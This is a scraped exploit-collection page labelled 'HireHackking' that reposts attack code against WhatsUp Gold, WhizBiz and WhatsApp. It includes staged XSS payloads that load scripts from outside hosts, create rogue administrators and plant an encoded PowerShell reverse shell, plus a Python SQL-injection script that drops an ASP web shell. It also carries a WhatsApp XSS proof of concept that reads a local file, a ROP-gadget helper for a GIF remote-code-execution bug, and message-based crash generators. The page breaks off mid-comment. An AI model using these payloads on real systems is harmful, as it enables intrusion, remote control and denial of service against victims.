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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

WhizBiz 1.9 - SQL Injection 

# # # # # 
# Exploit Title: WhizBiz - Business Directory CMS v1.9 - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://webhelios.com/
# Software Buy: https://codecanyon.net/item/whizbiz-business-directory-cms/12931569
# Demo: http://whizbiz.webhelios.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/results/plainkey=[SQL]
# # # # #
HireHackking 
# Exploit Title: WhatsUpGold 21.0.3 - Stored Cross-Site Scripting (XSS)
# Date: 09.17.2021
# Exploit Author: Andreas Finstad (4ndr34z)
# Vendor Homepage: https://www.whatsupgold.com
# Version: v.21.0.3, Build 188
# Tested on: Windows 2019 Server
# CVE : CVE-2021-41318
# Reference: https://f20.be/cves/poc-cve-2021-41318

Description:
Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
Placing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.
No CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.

SNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:

# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
############################################################################
# SECTION: System Information Setup
# syslocation: The [typically physical] location of the system.
# Note that setting this value here means that when trying to
# perform an snmp SET operation to the sysLocation.0 variable will make
# the agent return the "notWritable" error code.  IE, including
# this token in the snmpd.conf file will disable write access to
# the variable.
# arguments:  location_string
sysName Evil-Device
sysLocation    Somewhere Over The Rainbow
sysContact     <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly8xOTIuMTY4LjY2LjQ2L3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 src=x onerror=eval(atob(this.id))>

This is the base64 encoded string:
var a=document.createElement("script");a.src="http://192.168.66.46/x.js";document.body.appendChild(a);

x.js:
var vhost = window.location.protocol+'\/\/'+window.location.host
var username = "sysadmin"
var password = "me"

fetch(vhost+'/NmConsole/api/core/WebUser',{
    method: 'POST',
    headers: {
        'Content-Length': '479',
        'Accept': 'application/json',
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',
        'Content-Type': 'application/json',
        'Origin': vhost,
        'Referer': vhost+'/NmConsole/',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4',
        'Connection': 'close'
    },
    credentials: 'include',
        body: '{"HomeDeviceGroupID":0,"HomeDeviceGroupPath":"My Network","LanguageID":1033,"UserRightsMask":"0","IsDgarConfigured":false,"Groups"   [1],"WebUserID":-1,"UserName":"'+username+'","AuthenticationType":1,"ApplyWebUiSessionTimeout":true,"ApplyLockoutPolicy":false,"ApplyPasswordAging":false,"ApplyPasswordComplexity":false,"ApplySessionPolicy":false,"FailedLoginCount":0,"IsLocked":false,"Password":"'+password+'","UnlockUser":false,"WebConfigurationSettings":"","id":"Wug.model.userManagement.WebUser-2"}'
});
HireHackking 
# Exploit Title: WhatsUpGold 22.1.0 - Stored Cross-Site Scripting (XSS)
# Date: April 18, 2023
# Exploit Author: Andreas Finstad (4ndr34z)
# Vendor Homepage: https://www.whatsupgold.com
# Version: v.22.1.0 Build 39
# Tested on: Windows 2022 Server
# CVE : CVE-2023-35759
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-35759



WhatsUp Gold 2022 (22.1.0 Build 39) 

Stored XSS in sysName SNMP parameter.


Vulnerability Report: Stored XSS in WhatsUp Gold 2022 (22.1.0 Build 39)
Product Name: WhatsUp Gold 2022
Version: 22.1.0 Build 39
Vulnerability Type: Stored Cross-Site Scripting (XSS)

Description:
WhatsUp Gold 2022 is vulnerable to a stored cross-site scripting (XSS) attack that allows an attacker to inject malicious scripts into the admin console. The vulnerability exists in the sysName SNMP field on a device, which reflects the input from the SNMP device into the admin console after being discovered by SNMP.
 
An attacker can exploit this vulnerability by crafting a specially crafted SNMP device name that contains malicious code. Once the device name is saved and reflected in the admin console, the injected code will execute in the context of the admin user, potentially allowing the attacker to steal sensitive data or perform unauthorized actions.

As there is no CSRF tokens or CDP, it is trivial to create a javascript payload that adds an scheduled action on the server, that executes code as "NT System". In my POC code, I add a Powershell revshell that connects out to the attacker every 5 minutes. (screenshot3)

The XSS trigger when clicking the "All names and addresses"

Stage:

Base64 encoded id property:
var a=document.createElement("script");a.src="https://f20.be/t.js";document.body.appendChild(a);

Staged payload placed in the SNMP sysName Field on a device:
<img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZjIwLmJlL3QuanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg== src=https://f20.be/1 onload=eval(atob(this.id))>

payload:

var vhost = window.location.protocol+'\/\/'+window.location.host

addaction();
async function addaction() {
var arguments = ''
let run = fetch(vhost+'/NmConsole/api/core/WugPowerShellScriptAction?_dc=1655327281064',{
    method: 'POST',
    headers: {
        'Connection': 'close',
        'Content-Length': '1902',
        'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="102", "Microsoft Edge";v="102"',
        'Accept': 'application/json',
        'Content-Type': 'application/json',
        'X-Requested-With': 'XMLHttpRequest',
        'sec-ch-ua-mobile': '?0',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33',
        'sec-ch-ua-platform': '"macOS"',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Dest': 'empty',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4'
    },
    credentials: 'include',
    body: '{"id":-1,"Timeout":30,"ScriptText":"Start-process powershell -argumentlist \\"-W Hidden -noprofile -executionpolicy bypass -NoExit -e JAB0AG0AcAAgAD0AIABAACgAJwBzAFkAUwB0AGUATQAuAG4ARQB0AC4AcwBPAGMAJwAsACcASwBFAHQAcwAuAHQAQwBQAEMAbABJAGUAbgB0ACcAKQA7ACQAdABtAHAAMgAgAD0AIABbAFMAdAByAGkAbgBnAF0AOgA6AEoAbwBpAG4AKAAnACcALAAkAHQAbQBwACkAOwAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAHQAbQBwADIAKAAnADEAOQAyAC4AMQA2ADgALgAxADYALgAzADUAJwAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACgAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQApACAAKwAgACcAQAAnACAAKwAgACgAJABlAG4AdgA6AFUAcwBlAHIARABvAG0AYQBpAG4AKQAgACsAIAAoAFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATgBlAHcATABpAG4AZQApACAAKwAgACgAZwBlAHQALQBsAG8AYwBhAHQAaQBvAG4AKQArACcAPgAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==\\" -NoNewWindow","ScriptImpersonateFlag":false,"ClsId":"5903a09a-cce6-11e0-8f66-fe544824019b","Description":"Evil script","Name":"Systemtask"}'
});


setTimeout(() => { getactions(); }, 1000);

};



async function getactions() {

const response = await fetch(vhost+'/NmConsole/api/core/WugAction?_dc=4',{
    method: 'GET',
    headers: {
        'Connection': 'close', 
        'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="102", "Microsoft Edge";v="102"', 
        'Accept': 'application/json', 
        'Content-Type': 'application/json', 
        'X-Requested-With': 'XMLHttpRequest', 
        'sec-ch-ua-mobile': '?0', 
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33', 
        'sec-ch-ua-platform': '"macOS"', 
        'Sec-Fetch-Site': 'same-origin', 
        'Sec-Fetch-Mode': 'cors', 
        'Sec-Fetch-Dest': 'empty', 
        'Accept-Encoding': 'gzip, deflate', 
        'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4'
    },
    credentials: 'include'
   
});
const actions = await response.json();
var results = [];
var searchField = "Name";
var searchVal = "Systemtask";
for (var i=0 ; i < actions.length ; i++)
{
    if (actions[i][searchField] == searchVal) {
        results.push(actions[i].Id);
        revshell(results[0])
       
    }
}
//console.log(actions);

};


async function revshell(ID) {
fetch(vhost+'/NmConsole/Configuration/DlgRecurringActionLibrary/DlgSchedule/DlgSchedule.asp',{
    method: 'POST',
    headers: {
        'Connection': 'close',
        'Content-Length': '2442',
        'Cache-Control': 'max-age=0',
        'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="102", "Microsoft Edge";v="102"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"macOS"',
        'Upgrade-Insecure-Requests': '1',
        'Origin': 'https://192.168.16.100',
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/102.0.1245.33',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Sec-Fetch-Dest': 'iframe',
        'Referer': 'https://192.168.16.100/NmConsole/Configuration/DlgRecurringActionLibrary/DlgSchedule/DlgSchedule.asp',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,sv;q=0.5,fr;q=0.4'
    },
    credentials: 'include',
    body: 'DlgSchedule.oCheckBoxEnableSchedule=on&DlgSchedule.ScheduleType=DlgSchedule.oRadioButtonInterval&DlgSchedule.oEditIntervalMinutes=5&ShowAspFormDialog.VISITEDFORM=visited&DlgRecurringActionGeneral.oEditName=test&DlgRecurringActionGeneral.oComboSelectActionType=21&DlgRecurringActionGeneral.DIALOGRETURNURL=%2FNmConsole%2F%24Nm%2FCore%2FForm-AspForms%2Finc%2FShowAspFormDialog.asp&DlgRecurringActionGeneral.SAVEDFORMSTATE=%253cSavedFormState%253e%253cFormVariables%253e%253coElement%2520sName%3D%2522__VIEWSTATE%2522%2520sValue%3D%2522%25253cViewState%2F%25253e%0D%0A%2522%2F%253e%253c%2FFormVariables%253e%253cQueryStringVariables%2F%253e%253c%2FSavedFormState%253e&DlgRecurringActionGeneral.VISITEDFORM=visited%2C+visited&DlgSchedule.DIALOGRETURNURL=%2FNmConsole%2F%24Nm%2FCore%2FForm-AspForms%2Finc%2FShowAspFormDialog.asp&DlgSchedule.SAVEDFORMSTATE=%253cSavedFormState%253e%253cFormVariables%253e%253coElement%2520sName%3D%2522__VIEWSTATE%2522%2520sValue%3D%2522%25253cViewState%2F%25253e%0D%0A%2522%2F%253e%253c%2FFormVariables%253e%253cQueryStringVariables%2F%253e%253c%2FSavedFormState%253e&__EVENTTYPE=ButtonPressed&__EVENTTARGET=DlgSchedule.oButtonFinish&__EVENTARGUMENT=&DlgSchedule.VISITEDFORM=visited&__SOURCEFORM=DlgSchedule&__VIEWSTATE=%253cViewState%253e%253coElement%2520sName%3D%2522DlgRecurringActionGeneral.RecurringAction-sMode%2522%2520sValue%3D%2522new%2522%2F%253e%253coElement%2520sName%3D%2522RecurringAction-nActionTypeID%2522%2520sValue%3D%2522'+ID+'%2522%2F%253e%253coElement%2520sName%3D%2522Date_nStartOfWeek%2522%2520sValue%3D%25220%2522%2F%253e%253coElement%2520sName%3D%2522Date_sMediumDateFormat%2522%2520sValue%3D%2522MMMM%2520dd%2C%2520yyyy%2522%2F%253e%253coElement%2520sName%3D%2522DlgSchedule.sWebUserName%2522%2520sValue%3D%2522admin%2522%2F%253e%253coElement%2520sName%3D%2522DlgRecurringActionGeneral.sWebUserName%2522%2520sValue%3D%2522admin%2522%2F%253e%253coElement%2520sName%3D%2522DlgSchedule.RecurringAction-sMode%2522%2520sValue%3D%2522new%2522%2F%253e%253coElement%2520sName%3D%2522RecurringAction-sName%2522%2520sValue%3D%2522test%2522%2F%253e%253coElement%2520sName%3D%2522Date_bIs24HourTime%2522%2520sValue%3D%25220%2522%2F%253e%253c%2FViewState%253e%0D%0A&DlgSchedule.oEditDay=&DlgSchedule.oComboSelectMonthHour=0&DlgSchedule.oComboSelectMonthMinute=0&DlgSchedule.oComboSelectMonthAmPm=0&DlgSchedule.oComboSelectWeekHour=0&DlgSchedule.oComboSelectWeekMinute=0&DlgSchedule.oComboSelectWeekAmPm=0'
});
};
HireHackking 
#
# Exploit Title: WhatsUp Gold v16.3 Unauthenticated Remote Code Execution
# Date: 2016-01-13
# Exploit Author: Matt Buzanowski
# Vendor Homepage: http://www.ipswitch.com/
# Version: 16.3.x
# Tested on: Windows 7 x86
# CVE : CVE-2015-8261
# Usage: python DroneDeleteOldMeasurements.py <target ip>

import requests
import sys

ip_addr = sys.argv[1]

shell = '''<![CDATA[<% response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall() %>]]>'''

sqli_str = '''stuff'; END TRANSACTION; ATTACH DATABASE 'C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\HTML\\NmConsole\\shell.asp' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('%s');--''' % shell

session = requests.Session()

headers = {"SOAPAction":"\"http://iDrone.alertfox.com/DroneDeleteOldMeasurements\"","User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.4927)","Expect":"100-continue","Content-Type":"text/xml; charset=utf-8","Connection":"Keep-Alive"}

body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <DroneDeleteOldMeasurements xmlns="http://iDrone.alertfox.com/">
      <serializedDeleteOldMeasurementsRequest><?xml version="1.0" encoding="utf-16"?>
        <DeleteOldMeasurementsRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <authorizationString>0123456789</authorizationString>
        <maxAgeInMinutes>1</maxAgeInMinutes>
        <iDroneName>%s</iDroneName>
        </DeleteOldMeasurementsRequest></serializedDeleteOldMeasurementsRequest>
    </DroneDeleteOldMeasurements>
  </soap:Body>
</soap:Envelope>""" % sqli_str

response = session.post("http://%s/iDrone/iDroneComAPI.asmx" % ip_addr,data=body,headers=headers)
print "Status code:", response.status_code
print "Response body:", response.content

print "\n\nSUCCESS!!! Browse to http://%s/NmConsole/shell.asp?cmd=whoami for unauthenticated RCE.\n\n" % ip_addr
HireHackking 
# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting
# Date: 2020-01-21
# Exploit Author: Gal Weizman
# Vendor Homepage: https://www.whatsapp.com
# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe
# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg
# Version: 0.3.9308
# Tested On: Mac OS, Windows, iPhone
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426

// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)
// step 2: open devtools and search in all files "t=e.id"
// step 3: after prettifying, set a breakpoint at the line where "t = e.id" can be found
// step 4: paste "https://example.com" in the text box and hit "Enter"
// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"

var payload = `(async function() {
    alert(navigator.userAgent);
    (async function() {
	    // read "file:///C:/windows/system32/drivers/etc/hosts" content
	    const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));
        const t = await r.text();
        alert(t);
    }())
}())`;

payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;

e.__x_matchedText = payload;

e.__x_body = `
    Innocent text

    ${payload}

    More Innocent text
`;

// step 6: press F8 in order for the execution to continue
// result: a message should be sent to the victim that once is clicked will execute the payload above

// further information: https://github.com/weizman/CVE-2019-18426
HireHackking 
# Exploit Title: Whatsapp 2.19.216 - Remote Code Execution
# Date: 2019-10-16
# Exploit Author: Valerio Brussani (@val_brux)
# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)

/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp 
* 
*/

#include <jni.h>
#include <string>
#include <dlfcn.h>
#include <link.h>

typedef uint8_t byte;
char *gadget_p;
void* libc,* lib;

//dls iteration for rop
int dl_callback(struct dl_phdr_info *info, size_t size, void *data)
{
    int j;
    const char *base = (const char *)info->dlpi_addr;
    for (j = 0; j < info->dlpi_phnum; j++) {
        const ElfW(Phdr) *phdr = &info->dlpi_phdr[j];
        if (phdr->p_type == PT_LOAD && (strcmp("/system/lib64/libhwui.so",info->dlpi_name) == 0)) {
            gadget_p = (char *) base + phdr->p_vaddr;
            return 1;
        }
    }
    return 0;
}

//system address
void* get_system_address(){
    libc = dlopen("libc.so",RTLD_GLOBAL);
    void* address = dlsym( libc, "system");
    return address;
}

//rop gadget address
void get_gadget_lib_base_address() {
    lib = dlopen("libhwui.so",RTLD_GLOBAL);
    dl_iterate_phdr(dl_callback, NULL);
}

//search gadget
long search_for_gadget_offset() {
    char *buffer;
    long filelen;
    char curChar;
    long pos = 0; int curSearch = 0;
    //reading file
    FILE* fd = fopen("/system/lib64/libhwui.so","rb");
    fseek(fd, 0, SEEK_END);
    filelen = ftell(fd);
    rewind(fd);
    buffer = (char *)malloc((filelen+1)*sizeof(char));
    fread(buffer, filelen, 1, fd);
    fclose(fd);
    //searching for bytes
    byte g1[12] = {0x68, 0x0E, 0x40, 0xF9, 0x60, 0x82, 0x00, 0x91, 0x00, 0x01, 0x3F, 0xD6};
    while(pos <= filelen){
        curChar = buffer[pos];pos++;
        if(curChar == g1[curSearch]){
            curSearch++;
            if(curSearch > 11){
                curSearch = 0;
                pos-=12;
                break;
            }
        }
        else{
            curSearch = 0;
        }
    }
    return pos;
}

extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getSystem(JNIEnv* env,jobject) {
    char buff[30];
    //system address
    snprintf(buff, sizeof(buff), "%p", get_system_address());
    dlclose(libc);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}



extern "C" JNIEXPORT jstring JNICALL Java_com_valbrux_myapplication_MainActivity_getROPGadget(JNIEnv* env,jobject) {
    char buff[30];
    get_gadget_lib_base_address();
    //gadget address
    snprintf(buff, sizeof(buff), "%p",gadget_p+search_for_gadget_offset());
    dlclose(lib);
    std::string system_string = buff;
    return env->NewStringUTF(system_string.c_str());
}
HireHackking 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> at Exploit Pack
- http://www.exploitpack.com
# This vulnerability has been discovered and exploited using Exploit
Pack - Framework
#
# Tested on: iPhone 5/6s/X iOS 10 and 11.3 ( Latest release of iOS at
the date of writing this code )
#
# Description:
# WhatsApp 2.18.31 and prior are affected. The application fails to
properly filter user-supplied input and its prone to a remote memory
corruption.
#
# Impact:
# Resource exhaustion attacks exploit a design flaw. An attacker could
exploit this vulnerability to remotely corrupt the memory of the
application forcing an uhandled exception
# in the context of the application that could potentially result in a
denial-of-service condition and/or remote memory corruption.
#
# Debug:
# B04500954836","name":"WhatsApp"}
# Date/Time:       2018-04-06 18:15:30.608135 +0200
# OS Version:      iPhone OS 11.2.6 (Build 15D100)
# Architecture:    arm64
# Report Version:  19
# Command:         WhatsApp
# Path:
/private/var/containers/Bundle/Application/2F86B692-D9A3-4BAC-B45E-6DCF62F47C2C/WhatsApp.app/WhatsApp
# Version:         2.18.31 (2.18.31.32)
# Beta Identifier: 4CA20191-C4A3-4920-ADEB-9ABAD10FCDF7
# Parent:          launchd [1]
# PID:             28010
# Event:           cpu usage
# CPU:             144s cpu time over 145 seconds (99% cpu average),
exceeding limit of 80% cpu over 180 seconds
# Action taken:    Process killed
# Duration:        144.81s
# Steps:           48
# Hardware model:  iPhone7,1
# Exception Type: EXC_CRASH (SIGKILL)
#
# How to use this exploit:
# Send the payload as a message to a whatsapp user, trough a phone or
whatsapp-web.
#
# Timeline:
# Date and time of release: 6 April 2018
# Triaged by Facebook: 25 April 2018
# Reported to Apple ( it's a bug on their side ): 01 May 2018
# Vendor homepage: http://www.whatsapp.com / http://www.facebook.com

import sys
reload(sys)

def whatsapp(filename):
    sys.setdefaultencoding("utf-8")
    payload = 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⯑⯒⯬⯭⯮⯯ⰀⰁⰂⰃⰄⰅⰆⰇⰈⰉⰊⰋⰌⰍⰎⰏⰐⰑⰒⰓⰔⰕⰖⰗⰘⰙⰚⰛⰜⰝⰞⰟⰠⰡⰢⰣⰤⰥⰦⰧⰨⰩⰪⰫⰬⰭⰮⰰⰱⰲⰳⰴⰵⰶⰷⰸⰹⰺⰻⰼⰽⰾⰿⱀⱁⱂⱃⱄⱅⱆⱇⱈⱉⱊⱋⱌⱍⱎⱏⱐⱑⱒⱓⱔⱕⱖⱗⱘⱙⱚⱛⱜⱝⱞⱠⱡⱢⱣⱤⱥⱦⱧⱨⱩⱪⱫⱬⱭⱮⱯⱰⱱⱲⱳⱴⱵⱶⱷⱸⱹⱺ'
    sutf8 = payload.encode('UTF-8')
    finalPoC = payload*6
    print "[*] Writing to file: " + filename
    open(filename, 'w').write("\n".join(payload))
    print "[*] Done."

def howtouse():
    print "Usage: whatsapp.py [FILENAME]"
    print "[*] Mandatory arguments:"
    print "[-] FILENAME"
    sys.exit(-1)

if __name__ == "__main__":
    try:
        print "[*] WhatsApp 2.18.31 iOS - Remote memory corruption"
        print "[*] Author: jsacco@exploitpack.com - http://exploitpack.com"
        print "[*] How to use: Copy the content of the file and send
it as a message to another whatsapp user or group"
        whatsapp(sys.argv[1])
    except IndexError:
        howtouse()
HireHackking 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Found this and more exploits on my open source security project: http://www.exploitpack.com
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Date and time of release: 11 October 2017
#
# Tested on: iPhone 5/6s iOS 10.3.3 and 11
#
# Description:
# WhatsApp 2.17.52 and prior is prone to a remote memory corruption.
# This type of attacks are possible if the program uses memory inefficiently and does not impose limits on the amount of state used when necessary.
#
# Impact:
# Resource exhaustion attacks exploit a design deficiency. An attacker could exploit this vulnerability to remotely corrupt the memory of the application forcing an uhandled exception
# in the context of the application that could potentially result in a denial-of-service condition and/or remote memory corruption.
#
# Warning note:
# Once a user receives the offending message it will automatically crash the application and if its restarted it will crash again until the message its manually removed from the user's history.
#
# Timeline:
# 09/13/2017 - Research started
# 09/13/2017 - First proof of concept
# 09/15/2017 - Reported to Whatsapp
# 09/20/2017 - Report Triaged by Facebook
# 11/01/2017 - Facebook never replied back with a status fix
# 11/01/2017 - Disclosure as zero day
# Vendor homepage: http://www.whatsapp.com
import sys
reload(sys)

def whatsapp(filename):
    sys.setdefaultencoding("utf-8")
    payload = u'ب ة ت ث ج ح خ د ذ ر ز س ش ص ض ط ظ ع غ ف ق ك ل م ن' * 1337
    sutf8 = payload.encode('UTF-8')
    print "[*] Writing to file: " + filename
    open(filename, 'w').write(payload)
    print "[*] Done."

def howtouse():
    print "Usage: whatsapp.py [FILENAME]"
    print "[*] Mandatory arguments:"
    print "[-] FILENAME"
    sys.exit(-1)

if __name__ == "__main__":
    try:
        print "[*] WhatsApp 2.17.52 iOS - Remote memory corruption by Juan Sacco"
        print "[*] How to use: Copy the content of the file and send it as a message to another whatsapp user or group"
        whatsapp(sys.argv[1])
    except IndexError:
        howtouse()
HireHackking 
# Mirror: http://pastebin.com/raw.php?i=CZChGAnG
# Video: https://www.youtube.com/watch?v=V7bnLOohqqI

#!/usr/bin/python
#-*- coding: utf-8 -*
 
# Title: WhatsApp Remote Reboot/Crash App Android
# Product: WhatsApp
# Vendor Homepage: http://www.whatsapp.com
# Vulnerable Version(s): 2.11.476 
# Tested on: WhatsApp v2.11.476 on MotoG 2014 -Android 4.4.4 
# Date: 26/12/2014
# #RemoteExecution - www.remoteexecution.net 
#
# Author Exploit:
#   Daniel Godoy       @0xhielasangre    <danielgodoy@gobiernofederal.com>
# Credits: 
#   Gonza Cabrera
#
# Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
#
# Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
# It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even
# engaging in an interactive conversation over WhatsApp protocol
#

import argparse, sys, os, csv
from Yowsup.Common.utilities import Utilities
from Yowsup.Common.debugger import Debugger
from Yowsup.Common.constants import Constants
from Examples.CmdClient import WhatsappCmdClient
from Examples.EchoClient import WhatsappEchoClient
from Examples.ListenerClient import WhatsappListenerClient
from Yowsup.Registration.v1.coderequest import WACodeRequest
from Yowsup.Registration.v1.regrequest import WARegRequest
from Yowsup.Registration.v1.existsrequest import WAExistsRequest
from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2
from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2
from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2
from Yowsup.Contacts.contacts import WAContactsSyncRequest
 
import threading,time, base64
 
DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
COUNTRIES_CSV = "countries.csv"
 
DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
 
 
######## Yowsup Configuration file #####################
# Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
# phone:    Your full phone number including country code, without '+' or '00'
# id:       This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
#       on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
#       of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
#       a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
